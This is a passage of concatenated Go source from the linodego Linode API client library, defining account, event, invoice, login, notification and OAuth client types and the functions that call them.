`json:"balance_uninvoiced"` City string `json:"city"` State string `json:"state"` Zip string `json:"zip"` Country string `json:"country"` TaxID string `json:"tax_id"` Phone string `json:"phone"` CreditCard *CreditCard `json:"credit_card"` EUUID string `json:"euuid"` BillingSource string `json:"billing_source"` Capabilities []string `json:"capabilities"` ActiveSince *time.Time `json:"active_since"` ActivePromotions []Promotion `json:"active_promotions"` } // AccountUpdateOptions fields are those accepted by UpdateAccount type AccountUpdateOptions struct { Address1 string `json:"address_1,omitempty"` Address2 string `json:"address_2,omitempty"` City string `json:"city,omitempty"` Company string `json:"company,omitempty"` Country string `json:"country,omitempty"` Email string `json:"email,omitempty"` FirstName string `json:"first_name,omitempty"` LastName string `json:"last_name,omitempty"` Phone string `json:"phone,omitempty"` State string `json:"state,omitempty"` TaxID string `json:"tax_id,omitempty"` Zip string `json:"zip,omitempty"` } // GetUpdateOptions converts an Account to AccountUpdateOptions for use in UpdateAccount func (i Account) GetUpdateOptions() (o AccountUpdateOptions) { o.Address1 = i.Address1 o.Address2 = i.Address2 o.City = i.City o.Company = i.Company o.Country = i.Country o.Email = i.Email o.FirstName = i.FirstName o.LastName = i.LastName o.Phone = i.Phone o.State = i.State o.TaxID = i.TaxID o.Zip = i.Zip return } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Account) UnmarshalJSON(b []byte) error { type Mask Account p := struct { *Mask ActiveSince *parseabletime.ParseableTime `json:"active_since"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.ActiveSince = (*time.Time)(p.ActiveSince) return nil } // CreditCard information associated with the Account. type CreditCard struct { LastFour string `json:"last_four"` Expiry string `json:"expiry"` } // GetAccount gets the contact and billing information related to the Account. func (c *Client) GetAccount(ctx context.Context) (*Account, error) { return doGETRequest[Account](ctx, c, "account") } // UpdateAccount updates the Account func (c *Client) UpdateAccount(ctx context.Context, opts AccountUpdateOptions) (*Account, error) { return doPUTRequest[Account](ctx, c, "account", opts) } golang-github-linode-linodego-1.47.0/account_agreements.go000066400000000000000000000027521474652371000236140ustar00rootroot00000000000000package linodego import "context" // AccountAgreements represents the agreements and their acceptance status for an Account type AccountAgreements struct { EUModel bool `json:"eu_model"` MasterServiceAgreement bool `json:"master_service_agreement"` PrivacyPolicy bool `json:"privacy_policy"` } // AccountAgreementsUpdateOptions fields are those accepted by UpdateAccountAgreements type AccountAgreementsUpdateOptions struct { EUModel bool `json:"eu_model,omitempty"` MasterServiceAgreement bool `json:"master_service_agreement,omitempty"` PrivacyPolicy bool `json:"privacy_policy,omitempty"` } // GetUpdateOptions converts an AccountAgreements to AccountAgreementsUpdateOptions for use in UpdateAccountAgreements func (i AccountAgreements) GetUpdateOptions() (o AccountAgreementsUpdateOptions) { o.EUModel = i.EUModel o.MasterServiceAgreement = i.MasterServiceAgreement o.PrivacyPolicy = i.PrivacyPolicy return } // GetAccountAgreements gets all agreements and their acceptance status for the Account. func (c *Client) GetAccountAgreements(ctx context.Context) (*AccountAgreements, error) { return doGETRequest[AccountAgreements](ctx, c, "account/agreements") } // AcknowledgeAccountAgreements acknowledges account agreements for the Account func (c *Client) AcknowledgeAccountAgreements(ctx context.Context, opts AccountAgreementsUpdateOptions) error { _, err := doPOSTRequest[AccountAgreements](ctx, c, "account/agreements", opts) return err } golang-github-linode-linodego-1.47.0/account_availability.go000066400000000000000000000022061474652371000241260ustar00rootroot00000000000000package linodego import ( "context" ) // AccountAvailability returns the resources availability in a region to an account. type AccountAvailability struct { // region id Region string `json:"region"` // the unavailable resources in a region to the customer Unavailable []string `json:"unavailable"` // the available resources in a region to the customer Available []string `json:"available"` } // ListAccountAvailabilities lists all regions and the resource availabilities to the account. func (c *Client) ListAccountAvailabilities(ctx context.Context, opts *ListOptions) ([]AccountAvailability, error) { response, err := getPaginatedResults[AccountAvailability](ctx, c, "account/availability", opts) if err != nil { return nil, err } return response, nil } // GetAccountAvailability gets the resources availability in a region to the customer. func (c *Client) GetAccountAvailability(ctx context.Context, regionID string) (*AccountAvailability, error) { b := formatAPIPath("account/availability/%s", regionID) response, err := doGETRequest[AccountAvailability](ctx, c, b) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_betas.go000066400000000000000000000043731474652371000225610ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // The details and enrollment information of a Beta program that an account is enrolled in. type AccountBetaProgram struct { Label string `json:"label"` ID string `json:"id"` Description string `json:"description"` Started *time.Time `json:"-"` Ended *time.Time `json:"-"` // Date the account was enrolled in the beta program Enrolled *time.Time `json:"-"` } // AccountBetaProgramCreateOpts fields are those accepted by JoinBetaProgram type AccountBetaProgramCreateOpts struct { ID string `json:"id"` } // UnmarshalJSON implements the json.Unmarshaler interface func (cBeta *AccountBetaProgram) UnmarshalJSON(b []byte) error { type Mask AccountBetaProgram p := struct { *Mask Started *parseabletime.ParseableTime `json:"started"` Ended *parseabletime.ParseableTime `json:"ended"` Enrolled *parseabletime.ParseableTime `json:"enrolled"` }{ Mask: (*Mask)(cBeta), } if err := json.Unmarshal(b, &p); err != nil { return err } cBeta.Started = (*time.Time)(p.Started) cBeta.Ended = (*time.Time)(p.Ended) cBeta.Enrolled = (*time.Time)(p.Enrolled) return nil } // ListAccountBetaPrograms lists all beta programs an account is enrolled in. func (c *Client) ListAccountBetaPrograms(ctx context.Context, opts *ListOptions) ([]AccountBetaProgram, error) { response, err := getPaginatedResults[AccountBetaProgram](ctx, c, "/account/betas", opts) if err != nil { return nil, err } return response, nil } // GetAccountBetaProgram gets the details of a beta program an account is enrolled in. func (c *Client) GetAccountBetaProgram(ctx context.Context, betaID string) (*AccountBetaProgram, error) { b := formatAPIPath("/account/betas/%s", betaID) response, err := doGETRequest[AccountBetaProgram](ctx, c, b) if err != nil { return nil, err } return response, nil } // JoinBetaProgram enrolls an account into a beta program. func (c *Client) JoinBetaProgram(ctx context.Context, opts AccountBetaProgramCreateOpts) (*AccountBetaProgram, error) { e := "account/betas" response, err := doPOSTRequest[AccountBetaProgram](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_child.go000066400000000000000000000030561474652371000225430ustar00rootroot00000000000000package linodego import ( "context" ) // ChildAccount represents an account under the current account. // NOTE: This is an alias to prevent any future breaking changes. type ChildAccount = Account // ChildAccountToken represents a short-lived token created using // the CreateChildAccountToken(...) function. // NOTE: This is an alias to prevent any future breaking changes. type ChildAccountToken = Token // ListChildAccounts lists child accounts under the current account. // NOTE: Parent/Child related features may not be generally available. func (c *Client) ListChildAccounts(ctx context.Context, opts *ListOptions) ([]ChildAccount, error) { return getPaginatedResults[ChildAccount]( ctx, c, "account/child-accounts", opts, ) } // GetChildAccount gets a single child accounts under the current account. // NOTE: Parent/Child related features may not be generally available. func (c *Client) GetChildAccount(ctx context.Context, euuid string) (*ChildAccount, error) { return doGETRequest[ChildAccount]( ctx, c, formatAPIPath("account/child-accounts/%s", euuid), ) } // CreateChildAccountToken creates a short-lived token that can be used to // access the Linode API under a child account. // The attributes of this token are not currently configurable. // NOTE: Parent/Child related features may not be generally available. func (c *Client) CreateChildAccountToken(ctx context.Context, euuid string) (*ChildAccountToken, error) { return doPOSTRequest[ChildAccountToken, any]( ctx, c, formatAPIPath("account/child-accounts/%s/token", euuid), ) } golang-github-linode-linodego-1.47.0/account_events.go000066400000000000000000000435531474652371000227720ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/duration" "github.com/linode/linodego/internal/parseabletime" ) // Event represents an action taken on the Account. type Event struct { // The unique ID of this Event. ID int `json:"id"` // Current status of the Event, Enum: "failed" "finished" "notification" "scheduled" "started" Status EventStatus `json:"status"` // The action that caused this Event. New actions may be added in the future. Action EventAction `json:"action"` // A percentage estimating the amount of time remaining for an Event. Returns null for notification events. PercentComplete int `json:"percent_complete"` // The rate of completion of the Event. Only some Events will return rate; for example, migration and resize Events. Rate *string `json:"rate"` // If this Event has been read. Read bool `json:"read"` // If this Event has been seen. Seen bool `json:"seen"` // The estimated time remaining until the completion of this Event. This value is only returned for in-progress events. TimeRemaining *int `json:"-"` // The username of the User who caused the Event. Username string `json:"username"` // Detailed information about the Event's entity, including ID, type, label, and URL used to access it. Entity *EventEntity `json:"entity"` // Detailed information about the Event's secondary or related entity, including ID, type, label, and URL used to access it. SecondaryEntity *EventEntity `json:"secondary_entity"` // When this Event was created. Created *time.Time `json:"-"` // Provides additional information about the event. Message string `json:"message"` // The total duration in seconds that it takes for the Event to complete. Duration float64 `json:"duration"` } // EventAction constants start with Action and include all known Linode API Event Actions. type EventAction string // EventAction constants represent the actions that cause an Event. New actions may be added in the future. const ( ActionAccountUpdate EventAction = "account_update" ActionAccountSettingsUpdate EventAction = "account_settings_update" ActionBackupsEnable EventAction = "backups_enable" ActionBackupsCancel EventAction = "backups_cancel" ActionBackupsRestore EventAction = "backups_restore" ActionCommunityQuestionReply EventAction = "community_question_reply" ActionCommunityLike EventAction = "community_like" ActionCreditCardUpdated EventAction = "credit_card_updated" ActionDatabaseCreate EventAction = "database_create" ActionDatabaseDegraded EventAction = "database_degraded" ActionDatabaseDelete EventAction = "database_delete" ActionDatabaseFailed EventAction = "database_failed" ActionDatabaseUpdate EventAction = "database_update" ActionDatabaseCreateFailed EventAction = "database_create_failed" ActionDatabaseUpdateFailed EventAction = "database_update_failed" ActionDatabaseBackupCreate EventAction = "database_backup_create" ActionDatabaseBackupRestore EventAction = "database_backup_restore" ActionDatabaseCredentialsReset EventAction = "database_credentials_reset" ActionDiskCreate EventAction = "disk_create" ActionDiskDelete EventAction = "disk_delete" ActionDiskUpdate EventAction = "disk_update" ActionDiskDuplicate EventAction = "disk_duplicate" ActionDiskImagize EventAction = "disk_imagize" ActionDiskResize EventAction = "disk_resize" ActionDNSRecordCreate EventAction = "dns_record_create" ActionDNSRecordDelete EventAction = "dns_record_delete" ActionDNSRecordUpdate EventAction = "dns_record_update" ActionDNSZoneCreate EventAction = "dns_zone_create" ActionDNSZoneDelete EventAction = "dns_zone_delete" ActionDNSZoneUpdate EventAction = "dns_zone_update" ActionDNSZoneImport EventAction = "dns_zone_import" ActionEntityTransferAccept EventAction = "entity_transfer_accept" ActionEntityTransferCancel EventAction = "entity_transfer_cancel" ActionEntityTransferCreate EventAction = "entity_transfer_create" ActionEntityTransferFail EventAction = "entity_transfer_fail" ActionEntityTransferStale EventAction = "entity_transfer_stale" ActionFirewallCreate EventAction = "firewall_create" ActionFirewallDelete EventAction = "firewall_delete" ActionFirewallDisable EventAction = "firewall_disable" ActionFirewallEnable EventAction = "firewall_enable" ActionFirewallUpdate EventAction = "firewall_update" ActionFirewallDeviceAdd EventAction = "firewall_device_add" ActionFirewallDeviceRemove EventAction = "firewall_device_remove" ActionHostReboot EventAction = "host_reboot" ActionImageDelete EventAction = "image_delete" ActionImageUpdate EventAction = "image_update" ActionImageUpload EventAction = "image_upload" ActionIPAddressUpdate EventAction = "ipaddress_update" ActionLassieReboot EventAction = "lassie_reboot" ActionLinodeAddIP EventAction = "linode_addip" ActionLinodeBoot EventAction = "linode_boot" ActionLinodeClone EventAction = "linode_clone" ActionLinodeCreate EventAction = "linode_create" ActionLinodeDelete EventAction = "linode_delete" ActionLinodeUpdate EventAction = "linode_update" ActionLinodeDeleteIP EventAction = "linode_deleteip" ActionLinodeMigrate EventAction = "linode_migrate" ActionLinodeMigrateDatacenter EventAction = "linode_migrate_datacenter" ActionLinodeMigrateDatacenterCreate EventAction = "linode_migrate_datacenter_create" ActionLinodeMutate EventAction = "linode_mutate" ActionLinodeMutateCreate EventAction = "linode_mutate_create" ActionLinodeReboot EventAction = "linode_reboot" ActionLinodeRebuild EventAction = "linode_rebuild" ActionLinodeResize EventAction = "linode_resize" ActionLinodeResizeCreate EventAction = "linode_resize_create" ActionLinodeShutdown EventAction = "linode_shutdown" ActionLinodeSnapshot EventAction = "linode_snapshot" ActionLinodeConfigCreate EventAction = "linode_config_create" ActionLinodeConfigDelete EventAction = "linode_config_delete" ActionLinodeConfigUpdate EventAction = "linode_config_update" ActionLishBoot EventAction = "lish_boot" ActionLKENodeCreate EventAction = "lke_node_create" ActionLKEControlPlaneACLCreate EventAction = "lke_control_plane_acl_create" ActionLKEControlPlaneACLUpdate EventAction = "lke_control_plane_acl_update" ActionLKEControlPlaneACLDelete EventAction = "lke_control_plane_acl_delete" ActionLongviewClientCreate EventAction = "longviewclient_create" ActionLongviewClientDelete EventAction = "longviewclient_delete" ActionLongviewClientUpdate EventAction = "longviewclient_update" ActionManagedDisabled EventAction = "managed_disabled" ActionManagedEnabled EventAction = "managed_enabled" ActionManagedServiceCreate EventAction = "managed_service_create" ActionManagedServiceDelete EventAction = "managed_service_delete" ActionNodebalancerCreate EventAction = "nodebalancer_create" ActionNodebalancerDelete EventAction = "nodebalancer_delete" ActionNodebalancerUpdate EventAction = "nodebalancer_update" ActionNodebalancerConfigCreate EventAction = "nodebalancer_config_create" ActionNodebalancerConfigDelete EventAction = "nodebalancer_config_delete" ActionNodebalancerConfigUpdate EventAction = "nodebalancer_config_update" ActionNodebalancerFirewallModificationSuccess EventAction = "nodebalancer_firewall_modification_success" ActionNodebalancerFirewallModificationFailed EventAction = "nodebalancer_firewall_modification_failed" ActionNodebalancerNodeCreate EventAction = "nodebalancer_node_create" ActionNodebalancerNodeDelete EventAction = "nodebalancer_node_delete" ActionNodebalancerNodeUpdate EventAction = "nodebalancer_node_update" ActionOAuthClientCreate EventAction = "oauth_client_create" ActionOAuthClientDelete EventAction = "oauth_client_delete" ActionOAuthClientSecretReset EventAction = "oauth_client_secret_reset" //#nosec G101 ActionOAuthClientUpdate EventAction = "oauth_client_update" ActionOBJAccessKeyCreate EventAction = "obj_access_key_create" ActionOBJAccessKeyDelete EventAction = "obj_access_key_delete" ActionOBJAccessKeyUpdate EventAction = "obj_access_key_update" ActionPaymentMethodAdd EventAction = "payment_method_add" ActionPaymentSubmitted EventAction = "payment_submitted" ActionPasswordReset EventAction = "password_reset" ActionPlacementGroupCreate EventAction = "placement_group_create" ActionPlacementGroupUpdate EventAction = "placement_group_update" ActionPlacementGroupDelete EventAction = "placement_group_delete" ActionPlacementGroupAssign EventAction = "placement_group_assign" ActionPlacementGroupUnassign EventAction = "placement_group_unassign" ActionPlacementGroupBecameNonCompliant EventAction = "placement_group_became_non_compliant" ActionPlacementGroupBecameCompliant EventAction = "placement_group_became_compliant" ActionProfileUpdate EventAction = "profile_update" ActionStackScriptCreate EventAction = "stackscript_create" ActionStackScriptDelete EventAction = "stackscript_delete" ActionStackScriptUpdate EventAction = "stackscript_update" ActionStackScriptPublicize EventAction = "stackscript_publicize" ActionStackScriptRevise EventAction = "stackscript_revise" ActionTaxIDInvalid EventAction = "tax_id_invalid" ActionTagCreate EventAction = "tag_create" ActionTagDelete EventAction = "tag_delete" ActionTFADisabled EventAction = "tfa_disabled" ActionTFAEnabled EventAction = "tfa_enabled" ActionTicketAttachmentUpload EventAction = "ticket_attachment_upload" ActionTicketCreate EventAction = "ticket_create" ActionTicketUpdate EventAction = "ticket_update" ActionTokenCreate EventAction = "token_create" ActionTokenDelete EventAction = "token_delete" ActionTokenUpdate EventAction = "token_update" ActionUserCreate EventAction = "user_create" ActionUserDelete EventAction = "user_delete" ActionUserUpdate EventAction = "user_update" ActionUserSSHKeyAdd EventAction = "user_ssh_key_add" ActionUserSSHKeyDelete EventAction = "user_ssh_key_delete" ActionUserSSHKeyUpdate EventAction = "user_ssh_key_update" ActionVLANAttach EventAction = "vlan_attach" ActionVLANDetach EventAction = "vlan_detach" ActionVolumeAttach EventAction = "volume_attach" ActionVolumeClone EventAction = "volume_clone" ActionVolumeCreate EventAction = "volume_create" ActionVolumeDelete EventAction = "volume_delete" ActionVolumeUpdate EventAction = "volume_update" ActionVolumeDetach EventAction = "volume_detach" ActionVolumeResize EventAction = "volume_resize" ActionVPCCreate EventAction = "vpc_create" ActionVPCDelete EventAction = "vpc_delete" ActionVPCUpdate EventAction = "vpc_update" ActionVPCSubnetCreate EventAction = "subnet_create" ActionVPCSubnetDelete EventAction = "subnet_delete" ActionVPCSubnetUpdate EventAction = "subnet_update" // Deprecated: incorrect spelling, // to be removed in the next major version release. ActionVolumeDelte EventAction = "volume_delete" // Deprecated: incorrect spelling, // to be removed in the next major version ActionCreateCardUpdated = ActionCreditCardUpdated ) // EntityType constants start with Entity and include Linode API Event Entity Types type EntityType string // EntityType contants are the entities an Event can be related to. const ( EntityAccount EntityType = "account" EntityBackups EntityType = "backups" EntityCommunity EntityType = "community" EntityDatabase EntityType = "database" EntityDisk EntityType = "disk" EntityDomain EntityType = "domain" EntityTransfer EntityType = "entity_transfer" EntityFirewall EntityType = "firewall" EntityImage EntityType = "image" EntityIPAddress EntityType = "ipaddress" EntityLinode EntityType = "linode" EntityLongview EntityType = "longview" EntityManagedService EntityType = "managed_service" EntityNodebalancer EntityType = "nodebalancer" EntityOAuthClient EntityType = "oauth_client" EntityPlacementGroup EntityType = "placement_group" EntityProfile EntityType = "profile" EntityStackscript EntityType = "stackscript" EntityTag EntityType = "tag" EntityTicket EntityType = "ticket" EntityToken EntityType = "token" EntityUser EntityType = "user" EntityUserSSHKey EntityType = "user_ssh_key" EntityVolume EntityType = "volume" EntityVPC EntityType = "vpc" EntityVPCSubnet EntityType = "subnet" ) // EventStatus constants start with Event and include Linode API Event Status values type EventStatus string // EventStatus constants reflect the current status of an Event const ( EventFailed EventStatus = "failed" EventFinished EventStatus = "finished" EventNotification EventStatus = "notification" EventScheduled EventStatus = "scheduled" EventStarted EventStatus = "started" ) // EventEntity provides detailed information about the Event's // associated entity, including ID, Type, Label, and a URL that // can be used to access it. type EventEntity struct { // ID may be a string or int, it depends on the EntityType ID any `json:"id"` Label string `json:"label"` Type EntityType `json:"type"` Status string `json:"status"` URL string `json:"url"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Event) UnmarshalJSON(b []byte) error { type Mask Event p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` TimeRemaining json.RawMessage `json:"time_remaining"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.TimeRemaining = duration.UnmarshalTimeRemaining(p.TimeRemaining) return nil } // ListEvents gets a collection of Event objects representing actions taken // on the Account. The Events returned depend on the token grants and the grants // of the associated user. func (c *Client) ListEvents(ctx context.Context, opts *ListOptions) ([]Event, error) { response, err := getPaginatedResults[Event](ctx, c, "account/events", opts) if err != nil { return nil, err } return response, nil } // GetEvent gets the Event with the Event ID func (c *Client) GetEvent(ctx context.Context, eventID int) (*Event, error) { e := formatAPIPath("account/events/%d", eventID) response, err := doGETRequest[Event](ctx, c, e) if err != nil { return nil, err } return response, nil } // MarkEventRead marks a single Event as read. func (c *Client) MarkEventRead(ctx context.Context, event *Event) error { e := formatAPIPath("account/events/%d/read", event.ID) _, err := doPOSTRequest[Event](ctx, c, e, []any{}) return err } // MarkEventsSeen marks all Events up to and including this Event by ID as seen. func (c *Client) MarkEventsSeen(ctx context.Context, event *Event) error { e := formatAPIPath("account/events/%d/seen", event.ID) _, err := doPOSTRequest[Event](ctx, c, e, []any{}) return err } golang-github-linode-linodego-1.47.0/account_invoices.go000066400000000000000000000056221474652371000233000ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Invoice structs reflect an invoice for billable activity on the account. type Invoice struct { ID int `json:"id"` Label string `json:"label"` Total float32 `json:"total"` Date *time.Time `json:"-"` Tax float32 `json:"tax"` Subtotal float32 `json:"subtotal"` BillingSource string `json:"billing_source"` TaxSummary []InvoiceTaxSummary `json:"tax_summary"` } type InvoiceTaxSummary struct { Tax float32 `json:"tax"` Name string `json:"name"` } // InvoiceItem structs reflect a single billable activity associate with an Invoice type InvoiceItem struct { Label string `json:"label"` Type string `json:"type"` UnitPrice float32 `json:"unit_price"` Quantity int `json:"quantity"` Amount float32 `json:"amount"` Tax float32 `json:"tax"` Region *string `json:"region"` From *time.Time `json:"-"` To *time.Time `json:"-"` Total float32 `json:"total"` } // ListInvoices gets a paginated list of Invoices against the Account func (c *Client) ListInvoices(ctx context.Context, opts *ListOptions) ([]Invoice, error) { response, err := getPaginatedResults[Invoice](ctx, c, "account/invoices", opts) if err != nil { return nil, err } return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Invoice) UnmarshalJSON(b []byte) error { type Mask Invoice p := struct { *Mask Date *parseabletime.ParseableTime `json:"date"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Date = (*time.Time)(p.Date) return nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *InvoiceItem) UnmarshalJSON(b []byte) error { type Mask InvoiceItem p := struct { *Mask From *parseabletime.ParseableTime `json:"from"` To *parseabletime.ParseableTime `json:"to"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.From = (*time.Time)(p.From) i.To = (*time.Time)(p.To) return nil } // GetInvoice gets a single Invoice matching the provided ID func (c *Client) GetInvoice(ctx context.Context, invoiceID int) (*Invoice, error) { e := formatAPIPath("account/invoices/%d", invoiceID) response, err := doGETRequest[Invoice](ctx, c, e) if err != nil { return nil, err } return response, nil } // ListInvoiceItems gets the invoice items associated with a specific Invoice func (c *Client) ListInvoiceItems(ctx context.Context, invoiceID int, opts *ListOptions) ([]InvoiceItem, error) { response, err := getPaginatedResults[InvoiceItem](ctx, c, formatAPIPath("account/invoices/%d/items", invoiceID), opts) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_logins.go000066400000000000000000000022571474652371000227550ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) type Login struct { ID int `json:"id"` Datetime *time.Time `json:"datetime"` IP string `json:"ip"` Restricted bool `json:"restricted"` Username string `json:"username"` Status string `json:"status"` } func (c *Client) ListLogins(ctx context.Context, opts *ListOptions) ([]Login, error) { response, err := getPaginatedResults[Login](ctx, c, "account/logins", opts) if err != nil { return nil, err } return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Login) UnmarshalJSON(b []byte) error { type Mask Login l := struct { *Mask Datetime *parseabletime.ParseableTime `json:"datetime"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &l); err != nil { return err } i.Datetime = (*time.Time)(l.Datetime) return nil } func (c *Client) GetLogin(ctx context.Context, loginID int) (*Login, error) { e := formatAPIPath("account/logins/%d", loginID) response, err := doGETRequest[Login](ctx, c, e) if err != nil { return nil, err } return response, nil } golang-github-linode-linodego-1.47.0/account_maintenance.go000066400000000000000000000024401474652371000237360ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // AccountMaintenance represents a Maintenance object for any entity a user has permissions to view type AccountMaintenance struct { Entity *Entity `json:"entity"` Reason string `json:"reason"` Status string `json:"status"` Type string `json:"type"` When *time.Time `json:"when"` } // The entity being affected by maintenance type Entity struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` URL string `json:"url"` } // UnmarshalJSON implements the json.Unmarshaler interface func (accountMaintenance *AccountMaintenance) UnmarshalJSON(b []byte) error { type Mask AccountMaintenance p := struct { *Mask When *parseabletime.ParseableTime `json:"when"` }{ Mask: (*Mask)(accountMaintenance), } if err := json.Unmarshal(b, &p); err != nil { return err } accountMaintenance.When = (*time.Time)(p.When) return nil } // ListMaintenances lists Account Maintenance objects for any entity a user has permissions to view func (c *Client) ListMaintenances(ctx context.Context, opts *ListOptions) ([]AccountMaintenance, error) { return getPaginatedResults[AccountMaintenance](ctx, c, "account/maintenance", opts) } golang-github-linode-linodego-1.47.0/account_notifications.go000066400000000000000000000064321474652371000243320ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "time" "github.com/linode/linodego/internal/parseabletime" ) // Notification represents a notification on an Account type Notification struct { Label string `json:"label"` Body *string `json:"body"` Message string `json:"message"` Type NotificationType `json:"type"` Severity NotificationSeverity `json:"severity"` Entity *NotificationEntity `json:"entity"` Until *time.Time `json:"-"` When *time.Time `json:"-"` } // NotificationEntity adds detailed information about the Notification. // This could refer to the ticket that triggered the notification, for example. type NotificationEntity struct { ID int `json:"id"` Label string `json:"label"` Type string `json:"type"` URL string `json:"url"` } // NotificationSeverity constants start with Notification and include all known Linode API Notification Severities. type NotificationSeverity string // NotificationSeverity constants represent the actions that cause a Notification. New severities may be added in the future. const ( NotificationMinor NotificationSeverity = "minor" NotificationMajor NotificationSeverity = "major" NotificationCritical NotificationSeverity = "critical" ) // NotificationType constants start with Notification and include all known Linode API Notification Types. type NotificationType string // NotificationType constants represent the actions that cause a Notification. New types may be added in the future. const ( NotificationMigrationScheduled NotificationType = "migration_scheduled" NotificationMigrationImminent NotificationType = "migration_imminent" NotificationMigrationPending NotificationType = "migration_pending" NotificationRebootScheduled NotificationType = "reboot_scheduled" NotificationOutage NotificationType = "outage" NotificationPaymentDue NotificationType = "payment_due" NotificationTicketImportant NotificationType = "ticket_important" NotificationTicketAbuse NotificationType = "ticket_abuse" NotificationNotice NotificationType = "notice" NotificationMaintenance NotificationType = "maintenance" ) // ListNotifications gets a collection of Notification objects representing important, // often time-sensitive items related to the Account. An account cannot interact directly with // Notifications, and a Notification will disappear when the circumstances causing it // have been resolved. For example, if the account has an important Ticket open, a response // to the Ticket will dismiss the Notification. func (c *Client) ListNotifications(ctx context.Context, opts *ListOptions) ([]Notification, error) { response, err := getPaginatedResults[Notification](ctx, c, "account/notifications", opts) if err != nil { return nil, err } return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface func (i *Notification) UnmarshalJSON(b []byte) error { type Mask Notification p := struct { *Mask Until *parseabletime.ParseableTime `json:"until"` When *parseabletime.ParseableTime `json:"when"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Until = (*time.Time)(p.Until) i.When = (*time.Time)(p.When) return nil } golang-github-linode-linodego-1.47.0/account_oauth_client.go000066400000000000000000000122031474652371000241300ustar00rootroot00000000000000package linodego import ( "context" ) // OAuthClientStatus constants start with OAuthClient and include Linode API Instance Status values type OAuthClientStatus string // OAuthClientStatus constants reflect the current status of an OAuth Client const ( OAuthClientActive OAuthClientStatus = "active" OAuthClientDisabled OAuthClientStatus = "disabled" OAuthClientSuspended OAuthClientStatus = "suspended" ) // OAuthClient represents a OAuthClient object type OAuthClient struct { // The unique ID of this OAuth Client. ID string `json:"id"` // The location a successful log in from https://login.linode.com should be redirected to for this client. The receiver of this redirect should be ready to accept an OAuth exchange code and finish the OAuth exchange. RedirectURI string `json:"redirect_uri"` // The name of this application. This will be presented to users when they are asked to grant it access to their Account. Label string `json:"label"` // Current status of the OAuth Client, Enum: "active" "disabled" "suspended" Status OAuthClientStatus `json:"status"` // The OAuth Client secret, used in the OAuth exchange. This is returned as except when an OAuth Client is created or its secret is reset. This is a secret, and should not be shared or disclosed publicly. Secret string `json:"secret"` // If this OAuth Client is public or private. Public bool `json:"public"` // The URL where this client's thumbnail may be viewed, or nil if this client does not have a thumbnail set. ThumbnailURL *string `json:"thumbnail_url"` } // OAuthClientCreateOptions fields are those accepted by CreateOAuthClient type OAuthClientCreateOptions struct { // The location a successful log in from https://login.linode.com should be redirected to for this client. The receiver of this redirect should be ready to accept an OAuth exchange code and finish the OAuth exchange. RedirectURI string `json:"redirect_uri"` // The name of this application. This will be presented to users when they are asked to grant it access to their Account. Label string `json:"label"` // If this OAuth Client is public or private. Public bool `json:"public"` } // OAuthClientUpdateOptions fields are those accepted by UpdateOAuthClient type OAuthClientUpdateOptions struct { // The location a successful log in from https://login.linode.com should be redirected to for this client. The receiver of this redirect should be ready to accept an OAuth exchange code and finish the OAuth exchange. RedirectURI string `json:"redirect_uri"` // The name of this application. This will be presented to users when they are asked to grant it access to their Account. Label string `json:"label"` // If this OAuth Client is public or private. Public bool `json:"public"` } // GetCreateOptions converts a OAuthClient to OAuthClientCreateOptions for use in CreateOAuthClient func (i OAuthClient) GetCreateOptions() (o OAuthClientCreateOptions) { o.RedirectURI = i.RedirectURI o.Label = i.Label o.Public = i.Public return } // GetUpdateOptions converts a OAuthClient to OAuthClientUpdateOptions for use in UpdateOAuthClient func (i OAuthClient) GetUpdateOptions() (o OAuthClientUpdateOptions) { o.RedirectURI = i.RedirectURI o.Label = i.Label o.Public = i.Public return } // ListOAuthClients lists OAuthClients func (c *Client) ListOAuthClients(ctx context.Context, opts *ListOptions) ([]OAuthClient, error) { response, err := getPaginatedResults[OAuthClient](ctx, c, "account/oauth-clients", opts) if err != nil { return nil, err } return response, nil } // GetOAuthClient gets the OAuthClient with the provided ID func (c *Client) GetOAuthClient(ctx context.Context, clientID string) (*OAuthClient, error) { e := formatAPIPath("account/oauth-clients/%s", clientID) response, err := doGETRequest[OAuthClient](ctx, c, e) if err != nil { return nil, err } return response, nil } // CreateOAuthClient creates an OAuthClient func (c *Client) CreateOAuthClient(ctx context.Context, opts OAuthClientCreateOptions) (*OAuthClient, error) { e := "account/oauth-clients" response, err := doPOSTRequest[OAuthClient](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // UpdateOAuthClient updates the OAuthClient with the specified id func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OAuthClientUpdateOptions) (*OAuthClient, error) { e := formatAPIPath("account/oauth-clients/%s", clientID) response, err := doPUTRequest[OAuthClient](ctx, c, e, opts) if err != nil { return nil, err } return response, nil } // DeleteOAuthClient deletes the OAuthClient with the specified id func (c *Client) DeleteOAuthClient(ctx context.Context, clientID string) error { e := formatAPIPath("account/oauth-clients/%s", clientID) err := 